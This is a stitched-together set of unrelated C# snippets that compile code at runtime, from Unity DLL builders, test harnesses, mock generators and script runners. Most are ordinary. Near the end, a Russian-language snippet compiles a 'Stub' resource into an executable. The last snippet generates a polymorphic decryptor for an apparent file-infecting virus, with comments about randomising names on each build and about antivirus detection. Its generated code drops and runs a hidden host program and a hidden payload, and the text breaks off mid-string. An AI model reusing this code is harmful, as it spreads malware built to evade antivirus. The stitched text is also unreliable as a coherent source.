protected override void Compile(string code, string[] references) { var parameters = new CompilerParameters() { OutputAssembly = FileName, IncludeDebugInformation = true }; parameters.ReferencedAssemblies.AddRange( GetStandardReferences().Concat(references ?? new string[0]) .Select(ResolveReference) .ToArray()); var compilerOptions = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } }; var provider = new CSharpCodeProvider(compilerOptions); var results = provider.CompileAssemblyFromSource(parameters, code); if (results.Errors.Count != 0) { var errors = new List<string>(); foreach (CompilerError error in results.Errors) errors.Add($"{error.FileName}({error.Line},{error.Column}): error {error.ErrorNumber}: {error.ErrorText}"); throw new InvalidOperationException($"Compilation Failed:{Environment.NewLine}{string.Join(Environment.NewLine, errors.ToArray())}"); } }
static void createDLL() { var compileParams = new CompilerParameters(); var buildTargetFilename = "SomeFancyDLL.dll"; compileParams.OutputAssembly = Path.Combine( System.Environment.GetFolderPath( System.Environment.SpecialFolder.Desktop ), buildTargetFilename ); // for all available compiler options: http://msdn.microsoft.com/en-us/library/6ds95cz0(v=vs.80).aspx compileParams.CompilerOptions = "/optimize"; compileParams.ReferencedAssemblies.Add( Path.Combine( EditorApplication.applicationContentsPath, "Frameworks/Managed/UnityEngine.dll" ) ); var source = getSourceForSelectedScripts(); var codeProvider = new CSharpCodeProvider( new Dictionary<string, string> { { "CompilerVersion", "v3.0" } } ); var compilerResults = codeProvider.CompileAssemblyFromSource( compileParams, source ); if( compilerResults.Errors.Count > 0 ) { foreach( var error in compilerResults.Errors ) Debug.LogError( error.ToString() ); } else { // the dll exists EditorUtility.DisplayDialog( "Fancy Script Compiler", buildTargetFilename + " should now be on your desktop.", "OK" ); } }
protected void Compile(string code, string[] references) { var parameters = new CompilerParameters() { OutputAssembly = FileName, IncludeDebugInformation = true }; AddStandardReferences(parameters); if (references != null) foreach (var reference in references) { var localFilename = Path.Combine(BasePath, reference); if (File.Exists(localFilename)) parameters.ReferencedAssemblies.Add(localFilename); else parameters.ReferencedAssemblies.Add(reference); } var compilerOptions = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } }; var provider = new CSharpCodeProvider(compilerOptions); var results = provider.CompileAssemblyFromSource(parameters, code); if (results.Errors.Count != 0) { var errors = new List<string>(); foreach (CompilerError error in results.Errors) errors.Add(string.Format("{0}({1},{2}): error {3}: {4}", error.FileName, error.Line, error.Column, error.ErrorNumber, error.ErrorText)); throw new InvalidOperationException(string.Format("Compilation Failed:{0}{1}", Environment.NewLine, string.Join(Environment.NewLine, errors.ToArray()))); } }
static bool createDLL( bool isEditorDLL, string DLLName ) { var compileParams = new CompilerParameters(); compileParams.OutputAssembly = Path.Combine( System.Environment.GetFolderPath( System.Environment.SpecialFolder.Desktop ), DLLName ); compileParams.CompilerOptions = "/optimize"; if( isEditorDLL ) compileParams.CompilerOptions += " /define:UNITY_EDITOR"; compileParams.ReferencedAssemblies.Add( Path.Combine( EditorApplication.applicationContentsPath, "Frameworks/Managed/UnityEngine.dll" ) ); compileParams.ReferencedAssemblies.Add( Path.Combine( EditorApplication.applicationContentsPath, "UnityExtensions/Unity/GUISystem/UnityEngine.UI.dll" ) ); if( isEditorDLL ) { compileParams.ReferencedAssemblies.Add( Path.Combine( EditorApplication.applicationContentsPath, "Frameworks/Managed/UnityEditor.dll" ) ); compileParams.ReferencedAssemblies.Add( Path.Combine( System.Environment.GetFolderPath( System.Environment.SpecialFolder.Desktop ), "ZestKit.dll" ) ); } var source = isEditorDLL ? getSourceForEditorDLL() : getSourceForDLL(); var codeProvider = new CSharpCodeProvider( new Dictionary<string,string> { { "CompilerVersion", "v3.0" } } ); var compilerResults = codeProvider.CompileAssemblyFromSource( compileParams, source ); if( compilerResults.Errors.Count > 0 ) { Debug.Log( "Errors creating DLL: " + DLLName ); foreach( var error in compilerResults.Errors ) Debug.LogError( error.ToString() ); return false; } return true; }
public void BuildTest() { var g = new GhostProviderGenerator(); var codes = g.Build( "GPIProvider", new[] { "Regulus.Tool.GPI" },new [] {typeof(Regulus.Tool.GPI.GPIA) }); Dictionary<string, string> optionsDic = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} }; var provider = new CSharpCodeProvider(optionsDic); var options = new CompilerParameters { GenerateInMemory = true ,GenerateExecutable = false, ReferencedAssemblies = { "System.Core.dll", "RegulusLibrary.dll", "RegulusRemoting.dll", "protobuf-net.dll", "GhostProviderGeneratorTests.dll" } }; var result = provider.CompileAssemblyFromSource(options, codes.ToArray()); Assert.IsTrue(result.Errors.Count == 0); }
static void Main () { const string source = @" public class Scriptefaa4ad0a85c49519cad6a19fbb93caf { string PadRight (string str, int padding) { return str.PadRight(padding); } }"; CompilerParameters parameters = new CompilerParameters (); parameters.GenerateInMemory = true; CodeDomProvider provider = new CSharpCodeProvider (); #if NET_2_0 CompilerResults results = provider.CompileAssemblyFromSource ( parameters, source); #else ICodeCompiler compiler = provider.CreateCompiler (); CompilerResults results = compiler.CompileAssemblyFromSource ( parameters, source); #endif Assert.AreEqual (1, results.Errors.Count, "#1"); Assert.IsFalse (results.Errors.HasErrors, "#2"); Assert.IsTrue (results.Errors.HasWarnings, "#3"); foreach (CompilerError error in results.Errors) Assert.IsTrue (error.IsWarning, "#4"); Assert.IsNotNull (results.CompiledAssembly, "#5"); }
public static void loadCompiledTypes() { if (!GlobalVariables.EnableExtensions) { // extensions not enabled return; } if (compiledTypes == null) { compiledTypes = new List<Type>(); loadAllExtensionFiles(); TextWriter tw = null; try { tw = new StreamWriter("Resources/Extensions/Errors.txt"); foreach (KeyValuePair<String, String> file in extensionFiles) { var csc = new CSharpCodeProvider(new Dictionary<string, string>() { { "CompilerVersion", "v3.5" } }); var parameters = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll", ProgramFilesx86() + @"/Microsoft XNA/XNA Game Studio/v3.0/References/Windows/x86/Microsoft.Xna.Framework.dll", "GameObjects.dll", "GameGlobal.dll" }); parameters.GenerateExecutable = false; CompilerResults results = csc.CompileAssemblyFromSource(parameters, file.Value); if (results.Errors.Count <= 0) { Type t = results.CompiledAssembly.GetModules()[0].GetTypes()[0]; compiledTypes.Add(t); } else { tw.WriteLine(">>> Cannot compile file " + file.Key); foreach (CompilerError error in results.Errors) { tw.WriteLine(error.ErrorText); } } } } catch (DirectoryNotFoundException) { } finally { if (tw != null) { tw.Dispose(); } } try { File.Delete("Resources/Extensions/RuntimeError.txt"); } catch {} } }
static object Evaluate(string expr) { var compiler = new CSharpCodeProvider(); var options = new CompilerParameters(); options.ReferencedAssemblies.Add("system.dll"); options.GenerateInMemory = true; string source = PrepareSource(expr); var assembly = compiler.CompileAssemblyFromSource(options, source).CompiledAssembly; var evaluator = assembly.CreateInstance("Evaluator"); return evaluator.GetType().GetMethod("Evaluate").Invoke(evaluator, null); }
/// <summary> /// Compiles the source_code /// </summary> /// <param name="source_code">source_code must implements IScript interface</param> /// <returns>compiled Assembly</returns> public static CompilerResults CompileCode(string source_code) { CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerParameters options = new CompilerParameters(); options.GenerateExecutable = false; // generate a Class Library assembly options.GenerateInMemory = true; // so we don;t have to delete it from disk Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); foreach (Assembly assembly in assemblies) { options.ReferencedAssemblies.Add(assembly.Location); } return provider.CompileAssemblyFromSource(options, source_code); }
static void CompileAndRun(string csharpCode) { // Prepare a C# program for compilation string[] csharpClass = { @"using System; public class RuntimeCompiledClass { public static void Main() {" + csharpCode + @" } }" }; // Compile the C# program CompilerParameters compilerParams = new CompilerParameters(); compilerParams.GenerateInMemory = true; compilerParams.TempFiles = new TempFileCollection("."); compilerParams.ReferencedAssemblies.Add("System.dll"); compilerParams.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location); CSharpCodeProvider csharpProvider = new CSharpCodeProvider(); CompilerResults compile = csharpProvider.CompileAssemblyFromSource( compilerParams, csharpClass); // Check for compilation errors if (compile.Errors.HasErrors) { string errorMsg = "Compilation error: "; foreach (CompilerError ce in compile.Errors) { errorMsg += "\r\n" + ce.ToString(); } throw new Exception(errorMsg); } // Invoke the Main() method of the compiled class Assembly assembly = compile.CompiledAssembly; Module module = assembly.GetModules()[0]; Type type = module.GetType("RuntimeCompiledClass"); MethodInfo methInfo = type.GetMethod("Main"); methInfo.Invoke(null, null); }
public static bool CompileSource(string source, string outputAssembly) { CSharpCodeProvider codeProvider = new CSharpCodeProvider(); CompilerParameters compilerParameters = new CompilerParameters(); // Add an assembly reference. compilerParameters.ReferencedAssemblies.Add( "System.dll" ); //compilerParams.ReferencedAssemblies.Add( "/Applications/Unity/Unity.app/Contents/Frameworks/Managed/UnityEngine.dll" ); compilerParameters.ReferencedAssemblies.Add("C:/Program Files (x86)/Unity/Editor/Data/Managed/UnityEngine.dll" ); compilerParameters.GenerateExecutable = false; compilerParameters.GenerateInMemory = false; compilerParameters.OutputAssembly = outputAssembly; CompilerResults compilerResults = codeProvider.CompileAssemblyFromSource(compilerParameters, source); if (compilerResults.Errors.Count > 0) { // Display compilation errors. foreach (CompilerError compilerError in compilerResults.Errors) { Debug.LogError(compilerError); } } else { Debug.Log(outputAssembly + " built successfully."); } // Return the results of compilation. if (compilerResults.Errors.Count > 0) { return false; } else { return true; } }
public bool CompileCode(params string[] codeLines) { Messages = new ComileAtRuntimeInfo[0]; m_compilerResults = m_provider?.CompileAssemblyFromSource(m_compilerParameters, codeLines); if (m_compilerResults == null) { Messages = new ComileAtRuntimeInfo[] { new RuntimeError("No compiler result!", true) }; return(false); } Messages = m_compilerResults.Errors.Cast <System.CodeDom.Compiler.CompilerError>() .Select(p => new CompilerError(p) as ComileAtRuntimeInfo) .ToArray(); return(!m_compilerResults.Errors.HasErrors); }
static void createDLL() { var compileParams = new CompilerParameters(); compileParams.OutputAssembly = Path.Combine( System.Environment.GetFolderPath( System.Environment.SpecialFolder.Desktop ), kBuildTargetFilename ); compileParams.CompilerOptions = "/optimize"; compileParams.ReferencedAssemblies.Add( Path.Combine( EditorApplication.applicationContentsPath, "Frameworks/Managed/UnityEngine.dll" ) ); var source = getSourceForStandardDLL( kSourcePath ); var codeProvider = new CSharpCodeProvider( new Dictionary<string, string> { { "CompilerVersion", "v3.0" } } ); var compilerResults = codeProvider.CompileAssemblyFromSource( compileParams, source ); if( compilerResults.Errors.Count > 0 ) { foreach( var error in compilerResults.Errors ) Debug.LogError( error.ToString() ); } else { EditorUtility.DisplayDialog( "TouchKit", "TouchKit.dll should now be on your desktop. If you would like the in-editor support (multi-touch simulator and debug drawing of touch frames) copy the TouchKit/Editor/TouchKitEditor.cs file into your project along with the TouchKit.dll", "OK" ); } }
/// <summary> /// Compiles a C# script as if it were a file in your project. /// </summary> /// <param name="scriptText">The text of the script.</param> /// <param name="errors">The compiler errors and warnings from compilation.</param> /// <param name="assemblyIfSucceeded">The compiled assembly if compilation succeeded.</param> /// <returns>True if compilation was a success, false otherwise.</returns> public static bool CompileCSharpScript(string scriptText, out CompilerErrorCollection errors, out Assembly assemblyIfSucceeded) { var codeProvider = new CSharpCodeProvider(); var compilerOptions = new CompilerParameters(); // we want a DLL and we want it in memory compilerOptions.GenerateExecutable = false; compilerOptions.GenerateInMemory = true; // add references to all currently loaded assemblies foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies()) { compilerOptions.ReferencedAssemblies.Add(assembly.Location); } // default to null output parameters errors = null; assemblyIfSucceeded = null; // compile the assembly from the source script text CompilerResults result = codeProvider.CompileAssemblyFromSource(compilerOptions, scriptText); // store the errors for the caller. even on successful compilation, we may have warnings. errors = result.Errors; // see if any errors are actually errors. if so return false foreach (CompilerError e in errors) { if (!e.IsWarning) { return false; } } // otherwise we pass back the compiled assembly and return true assemblyIfSucceeded = result.CompiledAssembly; return true; }
public virtual object Generate() { Assembly assembly; if (m_Assemblies.Contains(type.FullName)) { assembly = (Assembly)m_Assemblies[type.FullName]; } else { string filePrefix = "file:///"; string source = ImplementMethods(); if (s_fCreateSourceFile) { string srcFileName = Path.Combine(Path.GetTempPath(), "Mock" + type.Name + ".cs"); System.Diagnostics.Trace.WriteLine("Creating source file: " + srcFileName); StreamWriter writer = new StreamWriter(srcFileName); writer.Write(source); writer.Close(); } CodeDomProvider compiler = new CSharpCodeProvider(); CompilerParameters opts = new CompilerParameters(); opts.GenerateInMemory = true; string referencedAssembly = Assembly.GetAssembly(type).CodeBase.Substring(filePrefix.Length); opts.ReferencedAssemblies.Add(referencedAssembly); string dir = Path.GetDirectoryName(referencedAssembly); referencedAssembly = Assembly.GetExecutingAssembly().CodeBase.Substring(filePrefix.Length); opts.ReferencedAssemblies.Add(referencedAssembly); opts.ReferencedAssemblies.Add("System.dll"); foreach (AssemblyName reference in Assembly.GetAssembly(type).GetReferencedAssemblies()) { // first look in the directory where the mocked assembly is string referencePath = Path.Combine(dir, reference.Name + ".dll"); if (File.Exists(referencePath)) { opts.ReferencedAssemblies.Add(referencePath); } else { // then try in the "Primary interop assemblies" directory (for things like // stdole.dll referencePath = Path.Combine(s_piaPath, reference.Name + ".dll"); if (File.Exists(referencePath)) { opts.ReferencedAssemblies.Add(referencePath); } else // just add the filename without a path - it's hopefully in the GAC { opts.ReferencedAssemblies.Add(Path.GetFileName(referencePath)); } } } foreach (string reference in m_additonalReferences) { if (File.Exists(reference)) { opts.ReferencedAssemblies.Add(reference); } else { string referencePath = Path.Combine(dir, reference); if (File.Exists(referencePath)) { opts.ReferencedAssemblies.Add(referencePath); } else { opts.ReferencedAssemblies.Add(reference); } } } CompilerResults results = compiler.CompileAssemblyFromSource(opts, source); if (results.Errors.HasErrors) { StringBuilder error = new StringBuilder(); error.Append("Error compiling expression: "); foreach (CompilerError err in results.Errors) { error.AppendFormat("{0}: {1} ({2}, {3})\n", err.ErrorNumber, err.ErrorText, err.Line, err.Column); } System.Diagnostics.Debug.WriteLine(error.ToString()); throw new ApplicationException(error.ToString()); } else { assembly = results.CompiledAssembly; m_Assemblies.Add(type.FullName, assembly); } } object result = assembly.CreateInstance("MockModule." + ProxyClassName); Type proxyType = result.GetType(); FieldInfo field = proxyType.GetField(INVOCATION_HANDLER_FIELD_NAME); field.SetValue(result, handler); field = proxyType.GetField(METHODS_TO_IGNORE_FIELD_NAME); field.SetValue(result, methodsToIgnore); return(result); }
public override List <ExplorerItem> GetSchemaAndBuildAssembly(IConnectionInfo cxInfo, AssemblyName assemblyToBuild, ref string nameSpace, ref string typeName) { _nameSpacesToAdd = new List <string>(); var xInputs = cxInfo.DriverData.Element("inputDefs"); if (xInputs == null) { return(new List <ExplorerItem>()); } var jss = new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }; var inputDefs = JsonConvert.DeserializeObject <List <IJsonInput> >(xInputs.Value, jss).ToList(); var ns = nameSpace; // generate class definitions var classDefinitions = inputDefs .AsParallel() .SelectMany(i => { i.GenerateClasses(ns); return(i.GeneratedClasses); }) .ToList(); // add namespaces _nameSpacesToAdd.AddRange(inputDefs.SelectMany(i => i.NamespacesToAdd)); _nameSpacesToAdd.AddRange(classDefinitions.Select(c => c.Namespace)); // remove the error'd inputs var classGenErrors = inputDefs.SelectMany(i => i.Errors).ToList(); classDefinitions = classDefinitions .Where(c => c.Success) .ToList(); // resolve duplicates classDefinitions .GroupBy(c => c.ClassName) .Where(c => c.Count() > 1) .SelectMany(cs => cs.Select((c, i) => new { Class = c, Index = i + 1 }).Skip(1)) .ToList() .ForEach(c => c.Class.ClassName += "_" + c.Index); // create code to compile var usings = "using System;\r\n" + "using System.Collections.Generic;\r\n" + "using System.IO;\r\n" + "using Newtonsoft.Json;\r\n" + "using System.Web;\r\n" + "using JsonDataContext;\r\n"; usings += String.Join("\r\n", classDefinitions.Select(c => String.Format("using {0};", c.Namespace))); var contextProperties = inputDefs.SelectMany(i => i.ContextProperties); var context = String.Format("namespace {1} {{\r\n\r\n public class {2} : JsonDataContextBase {{\r\n\r\n\t\t{0}\r\n\r\n}}\r\n\r\n}}", String.Join("\r\n\r\n\t\t", contextProperties), nameSpace, typeName); var code = String.Join("\r\n", classDefinitions.Select(c => c.ClassDefinition)); var contextWithCode = String.Join("\r\n\r\n", usings, context, code); var provider = new CSharpCodeProvider(); var parameters = new CompilerParameters { IncludeDebugInformation = true, OutputAssembly = assemblyToBuild.CodeBase, ReferencedAssemblies = { typeof(JsonDataContextBase).Assembly.Location, typeof(JsonConvert).Assembly.Location, typeof(UriBuilder).Assembly.Location, typeof(HttpUtility).Assembly.Location } }; var result = provider.CompileAssemblyFromSource(parameters, contextWithCode); if (!result.Errors.HasErrors) { // Pray to the gods of UX for redemption.. // We Can Do Better if (classGenErrors.Any()) { MessageBox.Show(String.Format("Couldn't process {0} inputs:\r\n{1}", classGenErrors.Count, String.Join(Environment.NewLine, classGenErrors))); } return (LinqPadSampleCode.GetSchema(result.CompiledAssembly.GetType(String.Format("{0}.{1}", nameSpace, typeName))) .Concat(inputDefs.SelectMany(i => i.ExplorerItems ?? new List <ExplorerItem>())) .ToList()); } else { // compile failed, this is Bad var sb = new StringBuilder(); sb.AppendLine("Could not generate a typed context for the given inputs. The compiler returned the following errors:\r\n"); foreach (var err in result.Errors) { sb.AppendFormat(" - {0}\r\n", err); } if (classGenErrors.Any()) { sb.AppendLine("\r\nThis may have been caused by the following class generation errors:\r\n"); sb.AppendLine(String.Join(Environment.NewLine, String.Join(Environment.NewLine, classGenErrors))); } MessageBox.Show(sb.ToString()); NotepadHelper.ShowMessage(contextWithCode, "Generated source code"); throw new Exception("Could not generate a typed context for the given inputs"); } }
bool CompileAndRun(string[] code, string dir) { //[TODO] copy all assemblies referred otherwise won't compile //credit: http:/simeonpilgrim.com/blog/2007/12/04/compiling-and-running-code-at-runtime/ CompilerParameters CompilerParams = new CompilerParameters(); string outputDirectory = dir; CompilerParams.GenerateInMemory = true; CompilerParams.TreatWarningsAsErrors = false; CompilerParams.GenerateExecutable = false; CompilerParams.CompilerOptions = "/optimize"; string[] references = { "System.dll" }; CompilerParams.ReferencedAssemblies.AddRange(references); //[TODO] add more references? CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerResults compile = provider.CompileAssemblyFromSource(CompilerParams, code); if (compile.Errors.HasErrors) { string text = "Compile error: "; foreach (CompilerError ce in compile.Errors) { text += "\r\n" + ce.ToString(); } throw new Exception(text); } //ExpoloreAssembly(compile.CompiledAssembly); Module module = compile.CompiledAssembly.GetModules()[0]; Type mt = null; MethodInfo methInfo = null; if (module != null) { mt = module.GetType("DynaCore.DynaCore"); } else { throw new Exception("moude is null"); } if (mt != null) { methInfo = mt.GetMethod("Main"); } else { throw new Exception("DynaCore.DynaCore is null"); } if (methInfo != null) { //Console.WriteLine(methInfo.Invoke(null, new object[] { "here in dyna code" })); try { var rt = methInfo.Invoke(null, null); if ((rt.Equals(99)) || (rt.Equals(100))) { return(true); } else { throw new Exception("return value must be 99 or 100, or it throws exception"); } } catch { return(false); } } throw new Exception("method info is null"); }
/// <summary> /// Enter your script within this method. /// </summary> public void ExecuteScript(string script, string inputDataPath, int timout) { AutoLog.Info("****[Void ExecuteScript]AutoTest: Begin to compile the script!****"); //Console.Out.WriteLine("**************[Void ExecuteScript]AutoTest: Begin to compile the script!**************"); CSharpCodeProvider objCSharpCodePrivoder = new CSharpCodeProvider(); CompilerParameters objCompilerParameters = new CompilerParameters(); objCompilerParameters.ReferencedAssemblies.Add("System.dll"); objCompilerParameters.ReferencedAssemblies.Add("System.Drawing.dll"); objCompilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll"); objCompilerParameters.ReferencedAssemblies.Add("System.Xml.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.PasATCore.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.PasATCoreV2.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.ScriptRunner.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.TestData.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.TestUtility.dll"); objCompilerParameters.ReferencedAssemblies.Add("PAS.AutoTest.TestUtility.CompareObject.dll"); objCompilerParameters.ReferencedAssemblies.Add("KDIS7ATCore.dll"); objCompilerParameters.ReferencedAssemblies.Add("2DSim.dll"); objCompilerParameters.ReferencedAssemblies.Add("NotificationSim.dll"); objCompilerParameters.GenerateExecutable = false; objCompilerParameters.GenerateInMemory = true; CompilerResults cr = objCSharpCodePrivoder.CompileAssemblyFromSource(objCompilerParameters, this.GenerateScript(script, inputDataPath)); if (cr.Errors.HasErrors) { MessageBox.Show(inputDataPath + ":" + "Compile Error: "); foreach (CompilerError err in cr.Errors) { MessageBox.Show(err.ErrorText); } } else { AutoLog.Info("****[Void ExecuteScript]AutoTest: Compile pass and invoke the RUN****"); try { Assembly objAssembly = cr.CompiledAssembly; object objRunner = objAssembly.CreateInstance("CaseRunner.Runner"); AutoLog.Info("****[Void ExecuteScript]AutoTest: Create runner instance end****"); //mScriptRunner = new Thread(RunScriptSync); //mSynchronize = new Thread(TimerStart); //this.mScriptRunner.Start(objRunner); //this.mSynchronize.Start(timout); MethodInfo objMI = objRunner.GetType().GetMethod("Run"); objMI.Invoke(objRunner, null); AutoLog.Info("****[Void ExecuteScript]AutoTest: invoke the RUN end****"); //object runStatus = objRunner.GetType().GetMethod("getRunStatus").Invoke(objRunner, null); //if (runStatus) //{ mLastRunnerReturn = (string)objRunner.GetType().GetMethod("getRunReturn").Invoke(objRunner, null); mOutput.ConvertFromString(mLastRunnerReturn); AutoLog.Info("****[Void ExecuteScript]AutoTest: result " + mLastRunnerReturn + " ****"); //} //else //{ // mLastRunnerReturn = string.Empty; //} } catch (System.Exception ex) { AutoLog.Info("****[Void ExecuteScript]Invoke RUN exception: " + ex.Message); throw ex; } } }
public static void Compile(Build build) { Checker.RDeleteFiles(); if (!File.Exists(Checker.RoslynPath)) { ControlActive.CheckMessage(build.BoxStatus, "Компилятор не найден"); } else { ControlActive.CheckMessage(build.BoxStatus, "Идёт сборка ожидайте"); using (var provider = new CSharpCodeProvider()) { string Arguments = $@"/target:exe /unsafe /noconfig /platform:anycpu32bitpreferred"; var Params = new CompilerParameters() { OutputAssembly = $"{DirStart}/{build.BoxFileName}.exe", GenerateInMemory = False, GenerateExecutable = True, TreatWarningsAsErrors = False, CompilerOptions = Arguments }; if (!string.IsNullOrEmpty(build.BoxIcon)) { Params.CompilerOptions += $" /win32icon:{build.BoxIcon}"; } switch (build.BoxCombo.SelectedIndex) { case 0: ReferenceData.Search_DLL("'W'", "2.0.50727", SearchOption.TopDirectoryOnly); for (int i = 0; i < ReferenceData.ReferencedDLL.Count; i++) { Params.CoreAssemblyFileName = PathNetFramework.WinMscorlib("2.0.50727"); Params.ReferencedAssemblies.Add(ReferenceData.ReferencedDLL[i]); } break; case 1: ReferenceData.Search_DLL("'P'", "4.0", SearchOption.TopDirectoryOnly); for (int i = 0; i < ReferenceData.ReferencedDLL.Count; i++) { Params.CoreAssemblyFileName = PathNetFramework.Progra86Mscorlib("4.0"); Params.ReferencedAssemblies.Add(ReferenceData.ReferencedDLL[i]); } break; case 2: ReferenceData.Search_DLL("'P'", "4.5", SearchOption.TopDirectoryOnly); for (int i = 0; i < ReferenceData.ReferencedDLL.Count; i++) { Params.CoreAssemblyFileName = PathNetFramework.Progra86Mscorlib("4.5"); Params.ReferencedAssemblies.Add(ReferenceData.ReferencedDLL[i]); } break; default: break; } var SourceCode = Resources.Stub.Replace("[TITLE]", build.BoxTitle). Replace("[MESSAGE]", build.BoxMessage); Checker.CheckResults(provider.CompileAssemblyFromSource(Params, SourceCode), build.BoxStatus); } } }
public static TProxy CreateHubProxy <THub, TProxy, TSubscriber>(this HubConnection connection, string hubName) where THub : IHubBase where TProxy : IHubProxy <THub, TSubscriber> where TSubscriber : ISubscriber { var interfaceType = typeof(THub); var proxyInterfaceType = typeof(TProxy); if (!interfaceType.IsInterface) { throw new ArgumentException(string.Format("\"{0}\" is not an interface.", interfaceType.Name)); } if (!interfaceType.IsVisible) { throw new ConstraintException(string.Format(ERR_INACCESSABLE, interfaceType.FullName.Replace("+", "."))); } if (_compiledProxyClasses.ContainsKey(typeof(THub))) { return ((TProxy) Activator.CreateInstance(_compiledProxyClasses[typeof(TProxy)], connection.CreateHubProxy(hubName))); } var methodInfos = interfaceType.GetMethods(); var assembliesToReference = new List <string> { Assembly.GetExecutingAssembly().Location, interfaceType.Assembly.Location, typeof(IHubProxy).Assembly.Location, typeof(IHubProxy <,>).Assembly.Location, typeof(JsonConvert).Assembly.Location, typeof(IDynamicMetaObjectProvider).Assembly.Location }; foreach (var methodInfo in methodInfos) { var parameterInfos = methodInfo.GetParameters(); if (methodInfo.ReturnType != typeof(Task) && methodInfo.ReturnType.BaseType != typeof(Task)) { if (methodInfo.DeclaringType == null) { throw new ConstraintException("DeclaringType is null."); } var methodParams = string.Join(", ", parameterInfos.Select( pi => string.Format("{0} {1}", pi.ParameterType.Name, pi.ParameterType.Name))); throw new ConstraintException( string.Format( "The returntype of {0}.{1}({2}) must be System.Threading.Tasks.Task{3}.", methodInfo.DeclaringType.FullName.Replace("+", "."), methodInfo.Name, methodParams, methodInfo.ReturnType == typeof(void) ? string.Empty : string.Format("<{0}>", methodInfo.ReturnType.FullName.Replace("+", ".")))); } if (!methodInfo.ReturnType.IsVisible) { throw new ConstraintException(string.Format(ERR_INACCESSABLE, methodInfo.ReturnType.FullName.Replace("+", "."))); } var noPublicParam = parameterInfos.FirstOrDefault(p => !p.ParameterType.IsVisible); if (noPublicParam != null) { throw new ConstraintException(string.Format(ERR_INACCESSABLE, noPublicParam.ParameterType.FullName.Replace("+", "."))); } var assemblies = parameterInfos.Select(p => p.ParameterType.Assembly.Location).Distinct().ToList(); assemblies.Add(methodInfo.ReturnType.Assembly.Location); foreach (var assembly in assemblies) { if (!assembliesToReference.Contains(assembly)) { assembliesToReference.Add(assembly); } } } var template = new InterfaceHubProxyTemplate { Interface = interfaceType, ProxyInterface = proxyInterfaceType }; var code = template.TransformText(); var codeProvider = new CSharpCodeProvider(); var compilerParameters = new CompilerParameters { GenerateInMemory = true, GenerateExecutable = false }; foreach (var assemblyToReference in assembliesToReference) { compilerParameters.ReferencedAssemblies.Add(assemblyToReference); } var results = codeProvider.CompileAssemblyFromSource(compilerParameters, code); if (results.Errors.HasErrors) { throw new Exception("Unknown error occured during proxy generation: " + Environment.NewLine + string.Join(Environment.NewLine, results.Errors.OfType <CompilerError>().Select(ce => ce.ToString()))); } var compiledAssembly = results.CompiledAssembly; var generatedProxyClassType = compiledAssembly.GetType(string.Concat(interfaceType.Namespace, ".", interfaceType.Name, "ProxyImpl")); _compiledProxyClasses.Add(interfaceType, generatedProxyClassType); return((TProxy)Activator.CreateInstance(generatedProxyClassType, connection.CreateHubProxy(hubName))); }
public string Decryptor(string f, int num, int hl, int e) { //this is the decryptor that we build on the fly //since we build it on the fly we can easily change //variables making our application different each //time we run it. When i was actually building it I got a //false positive from my A.V. that said it was another virus //which is kind of interesting... string name = Directory.GetCurrentDirectory() + "\\" + Rand() + DateTime.Now.Year + ".exe"; ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = name; Random r = new Random(); string n = Rand() + r.Next(100); string n2 = Rand() + hl; string r2 = Rand() + r.Next(hl); string d = "\n" + "using System; \n" + "using System.Windows.Forms; \n" + "using System.Security.Cryptography; \n" + "using System.Text; \n" + "using System.Diagnostics; \n" + "using System.IO; \n" + "using System.Threading; \n" + "namespace " + n + " { \n" + " class " + n + n2 + ": Form { \n" + " static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n" + " static string inf = @\"" + f + "\"; \n" + " static string outf = @\"" + n2 + ".exe\"; \n" + " static string tmp = @\"" + n2 + r2 + ".exe\"; \n"; if (e == 1) { d += "static string p = @\"" + getKey() + "\"; \n"; } else { d += "static byte[] Key = Convert.FromBase64String(\"" + getKey() + "\"); \n" + "static byte[] IV = Convert.FromBase64String(\"" + getIV() + "\"); \n"; } d += " public static void Main() { \n" + " " + r2 + "(); \n" + " } \n" + " private static void " + r2 + "() { \n" + " try { \n " + //read current file into byte array " FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); \n" + " BinaryReader brb = new BinaryReader(fs); \n" + " byte[] b = new byte[fs.Length]; \n" + " for (int q = 0; q < b.Length; q++) { \n" + " b[q] = brb.ReadByte(); \n" + " } \n" + " brb.Close(); \n" + " fs.Close(); \n" + //write temp host program " FileStream fsb = new FileStream(tmp, FileMode.CreateNew); \n" + " BinaryWriter bwb = new BinaryWriter(fsb); \n" + " for (int z = " + num + "; z < " + hl + "; z++) { \n" + " bwb.BaseStream.WriteByte(b[z]); \n" + " } \n " + " fsb.Close(); \n" + " bwb.Close(); \n" + " File.SetAttributes(tmp, FileAttributes.Hidden); \n" + //start temp program and wait for it to exit " try { \n" + " Process.Start(tmp).WaitForExit(); \n" + " File.Delete(tmp); \n" + " } catch { } \n" + //read encrypted version and write to a file " FileStream fb = new FileStream(inf, FileMode.CreateNew); \n" + " BinaryWriter bw = new BinaryWriter(fb); \n" + " for (int z = " + hl + "; z < b.Length; z++) { \n" + " bw.BaseStream.WriteByte(b[z]); \n" + " } \n " + " fb.Close(); \n" + " bw.Close(); \n" + " File.SetAttributes(inf, FileAttributes.Hidden); \n"; if (e == 1) { d += " if(p.Length > 8) { \n" + " p = p.Substring(0,8); \n" + " } else if(p.Length < 8) { \n" + " int a = 8 - p.Length; \n" + " for(int i = 0; i < a; i++) \n" + " p = p + i; \n" + " } 